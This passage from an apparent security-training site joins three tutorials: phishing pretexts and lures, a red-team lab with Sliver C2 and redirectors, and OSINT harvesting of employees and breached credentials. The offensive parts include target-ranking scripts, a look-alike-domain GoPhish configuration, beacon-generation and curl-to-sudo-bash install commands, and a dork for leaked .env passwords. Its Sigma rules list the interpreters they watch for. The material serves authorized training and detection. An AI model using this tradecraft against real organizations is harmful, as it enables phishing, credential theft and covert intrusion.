Phishing Campaign Design: Pretexting, Lures, and Target Profiling

The most common mistake I see from someone running their first authorized phishing engagement is treating it as an email problem. They obsess over the payload and the landing page, launch on day two, and wonder why the click rate is 4%. The professional sequence is inverted — the message is the last artifact you build. The dossier, the pretext, and the sender domain’s reputation decide whether anyone reads past the subject line. Everything else is decoration.

This walkthrough is written for authorized red teamers and the defenders who have to understand the adversary’s decision chain to break it. Every phase maps to MITRE ATT&CK, and every offensive step is paired with how a blue team sees it.

1. Rules of Engagement and Legal Scope

Phishing simulations touch real people and harvest real PII. None of what follows is legal without explicit, signed authorization. Before a single byte of recon:

• Written authorization naming the target organization, the engagement window, and the specific techniques in scope (attachment vs. link vs. vishing).
• A scoping statement that lists which domains, mailboxes, and employee groups are fair game — and which are explicitly off-limits (legal, HR, executives’ personal accounts).
• Data-handling rules. Harvested credentials, breach-dump matches, and scraped employee data are PII. Encrypt at rest, define a retention window, and destroy on engagement close. You are a custodian, not a collector.
• An abort and de-confliction path so the SOC’s incident response doesn’t burn a weekend chasing your simulation.

If you can’t point to the paragraph in the contract that authorizes a technique, you don’t run it.

2. The Adversary’s Pre-Attack Workflow

Real intrusion sets — APT29, Kimsuky, TA453 — don’t improvise lures. They build a target list first, under the Reconnaissance tactic (TA0043), long before any email leaves an outbox. The workflow is iterative: start with a broad pool of harvested identities, enrich each with org and role context, then narrow to a short list of high-value recipients whose job function makes a specific pretext plausible.

The reason this matters to defenders: most of this generates zero target-side telemetry. Passive identity collection (T1589) reads breach databases and LinkedIn; nothing hits your logs. Your first detectable event is often the inbound message itself — which means the controls that matter most are the ones that limit exposure before the campaign and inspect delivery during it.

3. Target Profiling via OSINT

Passive vs. Active Reconnaissance

Passive recon never touches the target’s infrastructure — breach dumps, social media, cached pages. Active recon (port scans, mail-server probing) does, and it’s noisier. A good profiling phase stays passive as long as possible.

The ATT&CK techniques in play:

Once you know the email format, every name you scrape becomes an address. That’s the whole point of T1589.002:

import itertools

# T1589.002 — derive addresses from a known naming convention.
formats   = ["{first}.{last}", "{f}{last}", "{first}{l}"]
domain    = "example.com"
employees = [("jane", "doe"), ("ahmed", "khan")]

for first, last in employees:
    for fmt in formats:
        addr = fmt.format(first=first, last=last,
                          f=first[0], l=last[0]) + "@" + domain
        print(addr)   # later: validate against MX / catch-all behavior

Scraped profile data turns into a prioritized target map. The goal is T1591.004 — separate the people who can wire money or reset passwords from everyone else:

import json

# T1591.004 — convert scraped profiles into a ranked target list.
with open("profiles.json") as f:
    people = json.load(f)

HIGH_VALUE = {"finance", "accounts payable", "it", "helpdesk", "executive"}

for p in people:
    dept = p.get("department", "").lower()
    priority = "HIGH" if any(k in dept for k in HIGH_VALUE) else "low"
    print(f"{priority:4} | {p['name']:24} | {p['title']}")

Infrastructure and tech-stack intelligence (T1596) tunes the theme. If certificate transparency logs reveal a Citrix or VPN gateway, “your VPN certificate expires in 24 hours” becomes credible:

# T1596 — map the footprint from public technical databases.
whois example.com | grep -Ei 'registrar|creation|name server'
dig +short MX example.com               # mail routing → gateway vendor fingerprint

# Certificate Transparency: enumerate subdomains without touching the target.
curl -s "https://crt.sh/?q=%25.example.com&output=json" \
  | jq -r '.[].name_value' | sort -u

4. Pretexting Fundamentals

A pretext is a fabricated backstory that gives the lure context. The believable ones lean on a small set of influence principles:

The skeleton that turns those principles into a message:

[ROLE the sender claims]        -> "Microsoft 365 Security Team"
+ [AUTHORITY trigger]           -> policy / compliance / mandate
+ [URGENCY hook]                -> "session expires in 24h"
+ [ACTION request]              -> "re-verify at <link>"
+ [PLAUSIBLE sender + branding] -> aged look-alike domain, correct logo
= a lure that survives the recipient's first three seconds of scrutiny

Matching the Pretext to the Role

Profiling pays off here. A generic lure addressed to everyone is weaker than three tailored ones. Finance gets invoice-fraud and vendor-payment-change narratives. IT and helpdesk staff get credential-reset and MFA-enrollment pretexts. Executives get CEO-fraud and board-document lures. The pretext has to fit what the recipient already expects to receive on a normal Tuesday.

5. Lure Design and Delivery Vector Selection

The delivery vector is T1566 (Phishing), and the sub-technique you pick is a trade-off between trust, evasion, and what the target’s controls inspect:

Attachment campaigns rely on User Execution (T1204.002) — the victim has to open and trigger the file. Links exist precisely to avoid attachment scanning. If a gateway detonates attachments, you move to a link; if it rewrites links, you move to something the scanner doesn’t understand.

HTML smuggling is worth understanding because it inverts the perimeter: the file never crosses the network as a file, so attachment and URL scanners see only plain HTML.

<!-- Illustrative ONLY — shows why HTML smuggling evades file/URL scanners.
     The "payload" never traverses the network as a file; the browser builds it
     locally from a string already inside the HTML. The gateway sees inert markup. -->
<script>
  const data = atob("SGVsbG8gZnJvbSB0aGUgYnJvd3Nlcg==");   // benign demo content
  const blob = new Blob([data], { type: "application/octet-stream" });
  const url  = URL.createObjectURL(blob);
  const a    = document.createElement("a");
  a.href = url; a.download = "invoice.txt";                // forces a local "save"
  // a.click();   // auto-trigger left disabled deliberately
</script>

6. Sender Infrastructure and Spoofing

Delivery fails at the envelope if the sender looks wrong. Adversaries register look-alike domains (T1583.001) — corp-helpdesk.example against the real corp.helpdesk.example — and warm up aged sending accounts (T1585.002) so they pass reputation filters. The highest-trust option is hijacking a real conversation from a compromised third-party mailbox (T1586.002), where the reply lands inside an existing thread the victim already trusts.

From the attacker’s chair, the three email-authentication records define what’s possible:

Direct domain spoofing dies against a hard -all SPF record plus DMARC p=reject. That’s why attackers pivot to look-alike domains — a domain you control passes its own SPF and DKIM cleanly, and DMARC has nothing to complain about because the From: is genuinely yours.

A war story worth your hour: I once burned a beautifully aged look-alike domain in the first thirty minutes of a campaign because the landing page’s TLS certificate had been issued that morning. A switched-on analyst pulled the cert transparency log, saw a brand-new cert on a brand-new host receiving inbound clicks, and quarantined the whole run. The same crt.sh query you use to profile a target is the one defenders use to catch you. Provision infrastructure days ahead, not minutes.

7. Reconnaissance Phishing vs. Payload Delivery

Not every phishing message delivers malware. T1598 (Phishing for Information) sits under Reconnaissance — it tricks the target into divulging credentials or actionable data with no payload at all. A fake login portal (T1598.003) harvests a password; callback phishing extracts data verbally over the phone. The defining indicator: no malicious attachment, no exploit-laden link. That absence is what distinguishes T1598 from T1566.

Two modern variants defeat MFA and deserve detection-level treatment (no working frameworks here):

• Adversary-in-the-Middle (T1557). A reverse proxy relays the victim’s real login to the real service and captures the session cookie issued after a successful MFA prompt. The stolen cookie replays the authenticated session — the second factor never protected anything because it already passed.
• MFA Request Generation (T1621). Push-bombing a target with repeated approval prompts until fatigue or confusion yields a tap.
• OAuth device-code phishing. Abusing the device-authorization flow to capture tokens without ever touching a password, against M365 and Google Workspace.

The defensive answer to all three is phishing-resistant authentication — FIDO2 / passkeys — which is not susceptible to relay because the credential is bound to the legitimate origin.

8. Campaign Execution and Metrics

For authorized simulations, GoPhish handles sending profiles, landing pages, and tracking. The shape of a scoped, consented campaign:

# Authorized simulation only. Illustrative profile + campaign shape.
sending_profile:
  name: "IT Helpdesk Sim"
  from_address: "helpdesk@corp-helpdesk.example"   # pre-warmed look-alike
  host: "smtp.relay.internal:587"
  username: "sim-sender"
  ignore_cert_errors: false

campaign:
  name: "Q3 Awareness - Password Reset"
  url: "https://corp-helpdesk.example/reset"        # tracked landing page
  launch_date: "2026-07-01T09:00:00Z"
  tracking_pixel: true                              # open-rate beacon
  groups: ["finance-pilot"]                         # scoped, consented list

Read the metrics honestly. Open rate measures subject-line and sender plausibility. Click rate measures pretext strength. Submit rate — credentials actually entered — is the number that matters for risk, and it’s the one you report. Don’t shame individuals; aggregate by department and feed the result back into training. And when the engagement closes, destroy the harvested submissions per your data-handling rules.

9. Detection and Defense — The Defender’s View

Recon is invisible, so defense concentrates at delivery and execution. Email authentication is the first wall: enforce DMARC p=reject with alignment, and teach analysts to read the headers.

# Defender view: read Authentication-Results to spot spoofing.
$headers = Get-Content .\suspicious.eml -Raw
[regex]::Matches($headers, 'Authentication-Results:.*?(?=\r?\n\S)') |
    ForEach-Object { $_.Value }
# Flag: spf=fail, dkim=fail, dmarc=fail (or dmarc=none = no enforcement)

Post-delivery, the payload betrays itself through process lineage. Key Sysmon events:

The canonical detection — an Office app spawning a script interpreter:

title: Office Application Spawning a Script Interpreter
id: 6c4f1a2e-phishing-office-child
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\outlook.exe'
      - '\onenote.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\mshta.exe'
      - '\wscript.exe'
      - '\cscript.exe'
  condition: selection
tags:
  - attack.initial_access
  - attack.t1566.001
  - attack.t1204.002
level: high

Catch attachment execution by its working directory:

title: Process Execution From Outlook Attachment Temp Path
id: 9a2b7c10-phishing-outlook-temp
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CurrentDirectory|contains: '\Content.Outlook\'
  condition: selection
tags:
  - attack.initial_access
  - attack.t1566.001
level: high

Credential-harvest fallout shows up in the Security log — 4625 (failed logon), 4740 (lockout from spray), 4688 (process creation with command-line auditing) — and in M365 / Entra ID sign-in risk events. Hardening that actually moves the needle:

• ASR rules blocking Office apps from spawning child processes.
• Protected View + Trust Center disabling internet-origin macros by default, with MOTW enforced even for archive-extracted files to kill the ISO bypass.
• Safe Links / Safe Attachments for click-time URL rewriting and sandbox detonation.
• FIDO2 / passkeys over push-based MFA — the only control that survives AiTM.
• Limiting public OSINT exposure — shallow public org charts, undisclosed email formats, sanitized job postings.
• Awareness training using current lures (ISO, OneNote, QR), not just decade-old attachment scares.

10. MITRE ATT&CK Mapping

Summary

• A phishing campaign is won during reconnaissance, not in the message — the dossier and pretext decide the outcome before delivery.
• Target profiling chains passive OSINT (T1589, T1591, T1593, T1596) into a ranked list, generating almost no target-side telemetry.
• Pretexts weaponize authority, urgency, and familiarity; the strongest ones match the recipient’s actual job function.
• Delivery vector (T1566 sub-techniques) is a trade-off against the controls in place — attachment, link, service, or voice — with ISO, OneNote, quishing, and HTML smuggling as modern evasion paths.
• T1598 harvests data with no payload, and AiTM (T1557) defeats push-based MFA — both demand phishing-resistant FIDO2.
• Defenders win at delivery and execution: enforce DMARC p=reject, hunt Office child-process chains via Sysmon EID 1, and convert every red-team finding into a concrete blue-team control.

Related Tutorials

• Passive OSINT: Mapping the Target Without Touching It
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
• Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration

References

• Phishing (T1566) – Enterprise | MITRE ATT&CK®
• Phishing for Information (T1598) – Enterprise | MITRE ATT&CK®
• Gather Victim Identity Information (T1589) – Enterprise | MITRE ATT&CK®
• Gather Victim Org Information (T1591) – Enterprise | MITRE ATT&CK®
• Phishing: Spearphishing Link (T1566.002) – Enterprise | MITRE ATT&CK®
• Phishing for Information: Spearphishing Service (T1598.001) – Enterprise | MITRE ATT&CK®

Building a Red Team Lab: Infrastructure, VMs, and C2 Setup

Objective: Understand how to design, build, and operate a self-contained red team lab — hypervisor and VM selection, network segmentation, C2 framework deployment, redirector architecture, and OPSEC discipline — so authorized operators get a reproducible practice environment and defenders learn what adversary infrastructure looks like from the inside.

1. Lab Philosophy and Legal Guardrails

A red team lab exists for one reason: to test tradecraft against telemetry without touching production. Everything in this tutorial is for authorized testing inside an isolated environment you own. Never point lab C2 at systems outside your scope.

A dedicated lab gives you two things production cannot. First, repeatability — snapshot, detonate, revert, repeat. Second, observability — you run the blue stack and the red stack side by side and watch every event a real implant generates.

Two build models exist:

• Air-gapped lab — host-only virtual networks with no internet. Safest for malware detonation and EDR-bypass study.
• Cloud-backed lab — VPS-hosted team servers and redirectors for testing real callbacks, domain categorization, and redirector chains.

Most learners start air-gapped and graduate to a hybrid with a single controlled egress gateway.

2. Hardware and Hypervisor Selection

A workable lab runs on a single workstation. The constraint is RAM, because a Domain Controller, a Windows endpoint, a Linux target, and a SIEM run concurrently.

Choose a Type-2 hypervisor:

VMware Workstation Pro / Fusion is preferred for nested virtualization and snapshot fidelity; VirtualBox is the free alternative with less reliable advanced networking.

Snapshot discipline is non-negotiable. Snapshot before each phase — a clean pre-exploitation baseline, a post-compromise state, a post-persistence state — so you can replay a scenario without rebuilding.

3. Network Architecture Design

Segment the lab into tiers so the attacker subnet, target subnet, and monitoring subnet cannot freely route to one another. This mirrors real network boundaries and forces realistic lateral movement.

Build three host-only segments: attacker, target, monitoring. A dedicated “egress” VM with dual NICs (one host-only, one NAT) acts as the only controlled gateway when you must test real C2 callbacks. The monitoring tier should receive logs one-way and remain unreachable from the attacker subnet.

4. Building the Target Network

The target network simulates a small enterprise: a Domain Controller, a domain-joined Windows endpoint, and a Linux host.

Promote the DC with AD DS, configure DNS, then join endpoints to the domain. The following script joins a Windows target, points DNS at the DC, and enables WinRM for management.

# Domain join + WinRM enablement for a lab Windows target
$DC = "192.168.56.10"     # Domain Controller IP
$Domain = "lab.local"

# Point DNS at the DC so domain resolution works
Set-DnsClientServerAddress -InterfaceAlias "Ethernet0" -ServerAddresses $DC

# Enable remote management for lab orchestration
Enable-PSRemoting -Force
Set-Item WSMan:\localhost\Client\TrustedHosts -Value $DC -Force

# Join the domain (prompts for credentials, then reboot)
Add-Computer -DomainName $Domain -Restart

5. Deploying the Blue Team Monitoring Stack

The monitoring tier is what turns a playground into a detection lab. Deploy Wazuh or Security Onion as the SIEM/IDS, then instrument every Windows VM with Sysmon using a community config such as SwiftOnSecurity or Olaf Hartong’s sysmon-modular.

Forward all Windows and Sysmon channels to the SIEM, enable real-time alerting, and leave Windows Defender enabled on targets so you can observe EDR behavior against your implants. Add Zeek for network metadata — its conn.log is invaluable for spotting beaconing.

6. C2 Framework Selection and Trade-offs

A C2 framework is the infrastructure used to control compromised systems remotely. It has three parts: a C2 server (backend), a C2 client (operator interface), and a C2 agent / implant (payload on the target).

Core architecture primitives apply across all of them:

This tutorial uses Sliver as the primary example because it is free, modern, and well-documented at sliver.sh/docs.

7. Deploying Sliver C2

Install the server on a dedicated Ubuntu 22.04 host on the attacker tier. The team server should never be exposed directly — a redirector sits in front of it (Section 8).

# Install Sliver server (run on the dedicated C2 VM)
curl https://sliver.sh/install | sudo bash

# Run as a service so it survives reboots
sudo systemctl enable --now sliver

# Drop into the server console
sliver-server

Inside the console, start an HTTPS listener and generate a Windows x64 beacon. --skip-symbols speeds up builds in a lab; flags change between releases, so verify against the official docs.

# Start an HTTPS listener bound to the redirector-facing interface
https --lhost 192.168.56.20 --lport 443

# Generate a Windows x64 HTTPS beacon
generate beacon --http 192.168.56.20 --os windows --arch amd64 --skip-symbols

# After the implant calls back:
sessions                 # list active sessions
use <session_id>         # interact with a session

The HTTP/S transport is shaped via /root/.sliver/configs/http-c2.json, which controls URIs, headers, and polling behavior. The default mTLS transport listens on 8888.

8. Redirector Architecture

A redirector is a disposable proxy that fronts the team server. Implants talk only to the redirector; if blue team burns its IP, you rebuild it and the long-term server stays hidden.

Implant → Redirector (Nginx/Apache/socat) → C2 Team Server

The redirector filters traffic: requests matching your implant’s expected path and user-agent are forwarded to the team server; everything else is dropped or returned as a benign error or redirected to a legitimate site.

# Nginx redirector: forward only matching C2 traffic, 404 everything else
server {
    listen 443 ssl;
    server_name cdn.example-lab.local;

    location /api/v2/updates {
        # Only forward requests carrying the expected implant User-Agent
        if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") {
            return 404;
        }
        proxy_pass https://192.168.56.30:443;   # team server (internal)
        proxy_ssl_verify off;
    }

    # Anything else gets a flat 404 — no team server exposure
    location / {
        return 404;
    }
}

For HTTPS redirectors use Apache, Nginx, or Caddy; for DNS redirectors use socat or iptables. In advanced cloud setups, CDN fronting via CloudFront, Azure CDN, or Cloudflare blends C2 with legitimate traffic. Do not deploy domain-fronting or malleable-profile code from a tutorial — reference framework docs.

9. OPSEC and Infrastructure Hygiene

Your infrastructure is your OPSEC. A flat setup is a single point of failure that burns the whole operation.

• Never connect the operator machine directly to the team server. Tunnel through a VPN overlay (WireGuard, Tailscale/Headscale) or a jump box.
• Separate infrastructure for phishing, payload hosting, and C2 — three servers, three redirectors.
• Use aged, categorized domains registered 30+ days prior with a benign-looking category.
• Rotate redirector IPs and never reuse burned infrastructure.
• Geofence access via Cloudflare so only the client’s country can reach C2 and campaign domains, blocking external threat-intel scanners.

A minimal operator WireGuard client routes only team-server traffic through the jump box:

# wg0.conf — operator client tunneling to the jump box
[Interface]
PrivateKey = <operator_private_key>
Address    = 10.10.10.2/32

[Peer]
PublicKey  = <jumpbox_public_key>
Endpoint   = jump.example-lab.local:51820
AllowedIPs = 10.10.10.0/24      # only the team-server subnet
PersistentKeepalive = 25

Relevant transports and ports:

10. Infrastructure-as-Code with Terraform

Terraform declares lab state in configuration, so a burned redirector is rebuilt in minutes. The example provisions a team server and a redirector, then bootstraps the server with remote-exec.

resource "digitalocean_droplet" "c2_server" {
  name   = "c2-teamserver"
  region = "nyc3"
  size   = "s-2vcpu-4gb"
  image  = "ubuntu-22-04-x64"

  provisioner "remote-exec" {
    inline = ["curl https://sliver.sh/install | sudo bash"]
  }
}

resource "digitalocean_droplet" "redirector" {
  name   = "c2-redirector"
  region = "nyc3"
  size   = "s-1vcpu-1gb"
  image  = "ubuntu-22-04-x64"
}

output "c2_ip"        { value = digitalocean_droplet.c2_server.ipv4_address }
output "redirector_ip"{ value = digitalocean_droplet.redirector.ipv4_address }

terraform apply builds the stack and emits IPs; terraform destroy tears it down. Teardown-and-rebuild cycles keep infrastructure disposable.

11. Common Attacker Techniques

These are the primitives a lab is built to study and detect.

12. Defensive Strategies and Detection

Run the same lab as blue team to build detections. Sysmon plus a tuned config surfaces nearly every C2 stage.

Tune Sysmon to capture outbound connections from non-browser processes and DNS queries from shells:

<RuleGroup name="C2 Network" groupRelation="or">
  <NetworkConnect onmatch="include">
    <DestinationPort condition="is">443</DestinationPort>
    <DestinationPort condition="is">53</DestinationPort>
  </NetworkConnect>
  <DnsQuery onmatch="include">
    <Image condition="end with">powershell.exe</Image>
    <Image condition="end with">cmd.exe</Image>
  </DnsQuery>
</RuleGroup>

A Sigma rule for beacon-like connections keys on Sysmon EventID 3, common C2 ports, and an allowlist of browsers. Correlate hits with short, regular intervals to catch low-jitter beacons.

title: Non-Browser Outbound to Common C2 Ports
logsource:
  product: windows
  service: sysmon
  category: network_connection
detection:
  selection:
    EventID: 3
    DestinationPort:
      - 443
      - 80
      - 53
    Initiated: 'true'
  filter_browsers:
    Image|contains:
      - '\chrome.exe'
      - '\firefox.exe'
      - '\msedge.exe'
  condition: selection and not filter_browsers
fields:
  - Image
  - DestinationIp
  - DestinationPort
  - DestinationHostname
level: high

Layer behavioral analytics on top:

• Jitter analysis — alert on outbound HTTPS at regular intervals (e.g., 60 ± 5 s); Zeek conn.log excels at long-duration, low-byte sessions.
• Named-pipe anomalies — Cobalt Strike’s default msagent_* pipe names appear in Sysmon EID 17/18.
• Anomalous parent-child chains — Word.exe → cmd.exe → powershell.exe is a classic phishing chain.
• User-agent mismatch — svchost.exe issuing a Chrome user-agent is anomalous.

Enable Command Line Auditing via GPO (Audit Process Creation → include command line, EID 4688) and forward Microsoft-Windows-PowerShell/Operational (EID 4104) script-block logs to the SIEM. Keep the monitoring tier one-way and unreachable from the attacker subnet.

MITRE ATT&CK Mapping

13. Tools for Red Team Lab Analysis

Summary

• A red team lab is a closed, segmented environment where authorized operators rehearse C2 tradecraft while the blue stack records every event it generates.
• Tiered host-only networks, snapshot discipline, and a Type-2 hypervisor make scenarios isolated and repeatable.
• A team server must never be internet-facing; disposable redirectors front it and are rebuilt with infrastructure-as-code when burned.
• OPSEC is architecture — operator VPN overlays, separated phishing/C2/payload infrastructure, aged domains, and rotated IPs keep operations deniable.
• Detect C2 with Sysmon EID 3/22, jitter and named-pipe analysis, and Sigma rules, mapping every primitive back to MITRE TA0011.

Related Tutorials

• OPSEC Principles for Red Teamers: Staying Undetected
• Setting Up Your Exploit Development Lab (VMs, Debuggers, Tools)
• Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers

References

• Command and Control, Tactic TA0011 — MITRE ATT&CK Enterprise
• Sliver C2 Framework — MITRE ATT&CK Software S0633
• External C2 Listener Infrastructure — Cobalt Strike Official Docs
• Red Team Infrastructure: The Full Picture — From Domain to Beacon (DbgMan)

OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting

Objective: Understand how adversaries assemble a pre-engagement targeting package — employee identities, email addresses, and exposed credentials — from public sources such as LinkedIn, breach databases, and email-discovery APIs, and learn the matching detection and hardening guidance that lets defenders run the same playbook against their own organization.

1. What OSINT Reconnaissance Is (and Isn’t)

Open-Source Intelligence (OSINT) is the collection and correlation of information from publicly available sources. In a red team context it forms the Reconnaissance phase that precedes any packet sent to the target.

The critical distinction is passive versus active:

Everything in this tutorial is passive or queries third-party services — never the target. Even so, all activity must sit inside a signed rules of engagement (RoE) and scope document. You only run breach-domain searches and authenticated harvesting against domains you own or are explicitly authorized to test. Storing breach data carries legal weight; handle it like the regulated material it is.

2. The Adversary’s Goal: Building a Targeting Package

The output of this phase is a structured targeting package. A complete one contains:

• Employee list — names, titles, departments, reporting structure.
• Email addresses — confirmed or inferred from the corporate format.
• Exposed credentials — breach hits tied to those addresses.
• Tech stack — EDR, VPN, and cloud platforms gleaned from job postings.
• Attack surface — subdomains and employee-facing portals.

This maps directly to ATT&CK Reconnaissance (TA0043): gathering identity information (T1589), org information (T1591), and searching open websites (T1593). The package’s value is leverage — it converts anonymous infrastructure into named humans with reusable passwords and a known authentication portal.

3. LinkedIn People Harvesting

LinkedIn is the richest single source of employee identity data. Unauthenticated bulk scraping violates its Terms of Service, so red teams stick to passive search-engine methods.

The primary technique is Google dorking — crafted search queries that pull indexed profiles without touching LinkedIn directly:

# Run only against organizations you have written authorization to assess.
# Illustrative dork strings — patterns, not automated scrapers.

site:linkedin.com/in "Target Corp" "Security Engineer"
site:linkedin.com/in "Target Corp" "Cloud Administrator"

Beyond names and titles, job postings leak the tech stack. A listing requiring “experience with CrowdStrike Falcon” confirms the EDR platform; a VPN product name reveals the remote-access surface. Each discovered name feeds two downstream tasks: email-address derivation and lure crafting for later social engineering.

What an adversary derives from purely public profiles:

4. Email Harvesting with theHarvester

theHarvester is the canonical recon tool for this phase. It gathers names, emails, IPs, subdomains, and URLs from 40+ public resources, determining a domain’s external threat landscape without contacting the target.

theHarvester invocation:

# Authorized engagements only — run against domains in your signed scope.
theHarvester -d example-corp.com -b bing,linkedin,hunter -l 500 -f results.json

Flag breakdown:

Several sources — hunter, censys, shodan — require API keys configured in theHarvester’s api-keys.yaml. The output is a deduplicated set of email addresses, subdomains, and hostnames you carry forward into format inference and breach lookups.

5. Email Format Inference and Verification

A handful of confirmed addresses reveals the corporate email format. Extrapolate that pattern across the LinkedIn roster to generate every employee’s likely address.

The six dominant corporate archetypes:

Hunter.io automates detection: its domain-search endpoint returns a pattern field naming the format explicitly, plus per-address confidence scores.

# Authorized scope only. Requires a Hunter.io API key.
import requests

def hunter_domain_search(domain, api_key):
    url = "https://api.hunter.io/v2/domain-search"
    params = {"domain": domain, "api_key": api_key}
    r = requests.get(url, params=params, timeout=20)
    r.raise_for_status()
    data = r.json()["data"]

    print(f"[+] Detected format: {data.get('pattern')}")
    for e in data.get("emails", []):
        print(f"    {e['value']:35} confidence={e['confidence']}")

# hunter_domain_search("example-corp.com", "<API_KEY>")

Validate an inferred format passively by confirming sample addresses in breach databases (next section) rather than actively probing the target’s SMTP server.

6. Breach Data with Have I Been Pwned

Have I Been Pwned (HIBP) aggregates breach data from thousands of compromised databases. The v3 API is current; per-account and domain endpoints require the hibp-api-key header and a descriptive User-Agent.

Per-account breach lookup:

# Authorized accounts only (e.g., your own domain's mailboxes).
import requests

def hibp_account(account, api_key):
    url = f"https://haveibeenpwned.com/api/v3/breachedaccount/{account}"
    headers = {"hibp-api-key": api_key, "User-Agent": "RedTeam-Recon-Lab"}
    r = requests.get(url, headers=headers, params={"truncateResponse": "false"}, timeout=20)
    if r.status_code == 404:
        return []          # clean — no breaches
    r.raise_for_status()
    for b in r.json():
        severity = "HIGH" if "Passwords" in b["DataClasses"] else "INFO"
        print(f"[{severity}] {b['Name']} ({b['BreachDate']}) -> {b['DataClasses']}")
    return r.json()

Key breach-metadata fields: Name, BreachDate, DataClasses, IsVerified, and IsFabricated. Treat IsFabricated: true entries with caution — they may be unreliable.

The /breacheddomain/ endpoint searches an entire domain at once, but it requires a paid plan and verified domain ownership — by design, you can only run it against a domain you control. That same constraint makes it a legitimate blue-team monitoring tool.

Privacy-preserving password check (k-Anonymity):

The /range/ endpoint requires no API key and never sends the full hash. You SHA-1 the candidate password, send only the first 5 characters of the hash, and match the returned suffix list locally.

import hashlib, requests

def pwned_password(password):
    sha1 = hashlib.sha1(password.encode()).hexdigest().upper()
    prefix, suffix = sha1[:5], sha1[5:]
    r = requests.get(f"https://api.pwnedpasswords.com/range/{prefix}", timeout=20)
    r.raise_for_status()
    for line in r.text.splitlines():
        h, count = line.split(":")
        if h == suffix:
            return int(count)          # times seen in breaches
    return 0

The full password never leaves your machine — this is the model defenders should adopt for any internal password-exposure check.

7. Deeper Breach Intelligence: DeHashed, IntelligenceX, and Paste Sites

HIBP confirms that an account was breached; it does not return passwords. For credential investigation, red teams reach for paid platforms.

If a target email appears in DeHashed with a known password, that password may have been reused on corporate VPNs, mail portals, or cloud consoles — the basis of the credential-stuffing pipeline. Accessing and storing this material carries real legal constraints: retain only what the engagement requires, encrypt it at rest, and destroy it per the RoE.

8. Certificate Transparency for Subdomain Enumeration

Every TLS certificate issued for a domain is logged in public Certificate Transparency (CT) logs. Querying them discovers subdomains that never appear in DNS brute-forcing — and crucially, this is passive: you query a third-party log, not the target.

# crt.sh CT-log query — passive subdomain enumeration.
import requests

def crtsh_subdomains(domain):
    r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json", timeout=30)
    r.raise_for_status()
    subs = {row["name_value"] for row in r.json()}
    for s in sorted(subs):
        print(s)

# crtsh_subdomains("example-corp.com")

Discovered hosts like vpn.example-corp.com or mail.example-corp.com correlate back to the harvested employees — these are the portals where breach credentials get sprayed.

9. Correlating Findings into an Attack Path

Reconnaissance is only useful when chained. The logical flow:

1. People (LinkedIn) → roster of names and titles.
2. Email format (Hunter.io) → addresses for every name.
3. Breach hits (HIBP / DeHashed) → which addresses leaked, and which leaked passwords.
4. Portals (crt.sh) → where those credentials authenticate.
5. Spray candidates → privileged accounts without MFA, ranked by exploitability.

Two illustrative correlation helpers — dork construction and authorized format validation:

# Dork strings illustrate patterns only — no automated scraping.
linkedin = 'site:linkedin.com/in "TargetCorp" "engineer"'
github   = 'org:targetcorp filename:.env password'

# Authorized lab/own-domain only: generate candidates and check breach exposure.
def generate_and_check(names, domain, hibp_key):
    candidates = [f"{f.lower()}.{l.lower()}@{domain}" for f, l in names]
    for addr in candidates:
        hits = hibp_account(addr, hibp_key)   # from Section 6
        flag = "EXPOSED" if hits else "clean"
        print(f"{addr:35} {flag}")

Deliver the result as a structured artefact, not raw tool dumps:

# OSINT Targeting Report — example-corp.com (AUTHORIZED ENGAGEMENT)

## Employees Found
- Jane Doe — Security Engineer (LinkedIn)
- John Roe — Cloud Administrator (LinkedIn)

## Email Format
- Confirmed pattern: firstname.lastname@example-corp.com (Hunter.io, confidence 95)

## Breach Hits
- jane.doe@... — Breach2021 (Passwords, Emails) — HIGH
- john.roe@...  — no exposure — clean

## Credential Risk Ranking
1. jane.doe@... — admin role + breach password + portal vpn.example-corp.com

## Suggested Next Steps
- Validate MFA status on exposed accounts (authorized phase 2 only)

10. Common Attacker Techniques

Git history is decisive: a secret deleted last month still lives in the commit log unless the repo was scrubbed with git filter-repo — most never are.

11. Defensive Strategies & Detection

Inbound passive OSINT is largely invisible — there is no packet to log. Defense is therefore exposure reduction plus detecting the downstream use of harvested data and any internal authorized tooling.

What is observable:

• Sysmon Event ID 22 (DNSEvent) — internal hosts resolving OSINT API domains (hunter.io, haveibeenpwned.com). Field: QueryName. Relevant to authorized red-team logging, not inbound recon.
• Sysmon Event ID 3 (NetworkConnect) — outbound connections to Shodan/Censys/harvesting endpoints. Fields: DestinationIp, DestinationPort, Image.
• WAF / CDN logs — high-rate hits on /staff, /team, /about, /sitemap.xml and scraper user-agents.
• Certificate Transparency monitoring — alerts when unexpected certs/subdomains appear (shadow IT or forgotten assets).
• GitHub secret scanning — Advanced Security flags committed credentials before adversaries find them.

Downstream credential abuse is where SIEM earns its keep. Watch domain controllers for Event ID 4625 failures spread across many accounts from one source IP — SubStatus 0xC000006A (wrong password) and 0xC0000064 (bad username) signal password spraying. In Entra ID, alert on a successful sign-in from a new geolocation immediately after a domain appears in a breach.

Sigma rule (internal OSINT tool execution in a lab/red-team environment):

title: Internal OSINT Recon Tool Execution
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1                 # Sysmon ProcessCreate
    Image|endswith:
      - '\theHarvester.py'
      - '\python.exe'
    CommandLine|contains:
      - 'theHarvester'
      - 'hunter.io'
      - 'haveibeenpwned'
  condition: selection
level: medium

This targets authorized internal tooling; it cannot see external recon performed against you.

Hardening priorities:

Blue teams should run this entire playbook against themselves — to find leaked credentials, spot typosquatting, identify unauthorized assets, and measure supplier exposure.

12. Tools for OSINT Reconnaissance

13. MITRE ATT&CK Mapping

All techniques sit under Reconnaissance (TA0043) except the downstream abuse rows.

Summary

• OSINT reconnaissance converts public data — LinkedIn profiles, breach dumps, and CT logs — into a targeting package of named employees with reusable credentials, all without sending a packet to the target.
